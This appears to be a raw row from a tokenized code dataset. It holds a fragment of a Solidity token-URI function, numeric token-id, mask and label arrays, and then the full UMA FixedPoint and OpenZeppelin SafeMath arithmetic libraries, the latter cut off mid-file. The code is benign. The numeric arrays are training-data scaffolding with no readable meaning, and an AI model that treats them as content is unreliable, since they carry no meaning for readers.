emit URI(newURI, tokenId);
}
| 663,386 | [
1,
13670,
1089,
326,
1026,
3699,
364,
326,
1147,
225,
1147,
548,
1021,
1147,
358,
1089,
18,
389,
3576,
12021,
1435,
1297,
506,
2097,
11784,
18,
225,
394,
3098,
1166,
3699,
364,
326,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
22629,
3006,
12,
11890,
5034,
1147,
548,
16,
533,
3778,
394,
3098,
13,
1071,
11784,
3386,
12,
2316,
548,
13,
288,
203,
3639,
389,
2316,
3006,
63,
2316,
548,
65,
273,
394,
3098,
31,
203,
3639,
3626,
3699,
12,
2704,
3098,
16,
1147,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// solhint-disable
// Imported from https://github.com/UMAprotocol/protocol/blob/4d1c8cc47a4df5e79f978cb05647a7432e111a3d/packages/core/contracts/common/implementation/FixedPoint.sol
pragma solidity 0.6.12;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5**18`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a < b`, or False.
*/
function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a < b`, or False.
*/
function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the minimum of `a` and `b`.
*/
function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the maximum of `a` and `b`.
*/
function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the sum of `a` and `b`.
*/
function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return add(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts two `Unsigned`s, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow.
* @param a a FixedPoint.
* @param b a uint256.
* @return the difference of `a` and `b`.
*/
function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return sub(a, fromUnscaledUint(b));
}
/**
* @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow.
* @param a a uint256.
* @param b a FixedPoint.
* @return the difference of `a` and `b`.
*/
function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return sub(fromUnscaledUint(a), b);
}
/**
* @notice Multiplies two `Unsigned`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as a uint256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because FP_SCALING_FACTOR != 0.
return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.
* @param b a uint256.
* @return the product of `a` and `b`.
*/
function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 mulRaw = a.rawValue.mul(b.rawValue);
uint256 mulFloor = mulRaw / FP_SCALING_FACTOR;
uint256 mod = mulRaw.mod(FP_SCALING_FACTOR);
if (mod != 0) {
return Unsigned(mulFloor.add(1));
} else {
return Unsigned(mulFloor);
}
}
/**
* @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return the product of `a` and `b`.
*/
function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Unsigned(a.rawValue.mul(b));
}
/**
* @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as a uint256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
return Unsigned(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a uint256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) {
return div(fromUnscaledUint(a), b);
}
/**
* @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) {
uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR);
uint256 divFloor = aScaled.div(b.rawValue);
uint256 mod = aScaled.mod(b.rawValue);
if (mod != 0) {
return Unsigned(divFloor.add(1));
} else {
return Unsigned(divFloor);
}
}
/**
* @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))"
// similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned.
// This creates the possibility of overflow if b is very large.
return divCeil(a, fromUnscaledUint(b));
}
/**
* @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint numerator.
* @param b a uint256 denominator.
* @return output is `a` to the power of `b`.
*/
function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) {
output = fromUnscaledUint(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
// ------------------------------------------------- SIGNED -------------------------------------------------------------
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For signed values:
// This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76.
int256 private constant SFP_SCALING_FACTOR = 10**18;
struct Signed {
int256 rawValue;
}
function fromSigned(Signed memory a) internal pure returns (Unsigned memory) {
require(a.rawValue >= 0, "Negative value provided");
return Unsigned(uint256(a.rawValue));
}
function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) {
require(a.rawValue <= uint256(type(int256).max), "Unsigned too large");
return Signed(int256(a.rawValue));
}
/**
* @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5**18`.
* @param a int to convert into a FixedPoint.Signed.
* @return the converted FixedPoint.Signed.
*/
function fromUnscaledInt(int256 a) internal pure returns (Signed memory) {
return Signed(a.mul(SFP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a int256.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if equal, or False.
*/
function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a > b`, or False.
*/
function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
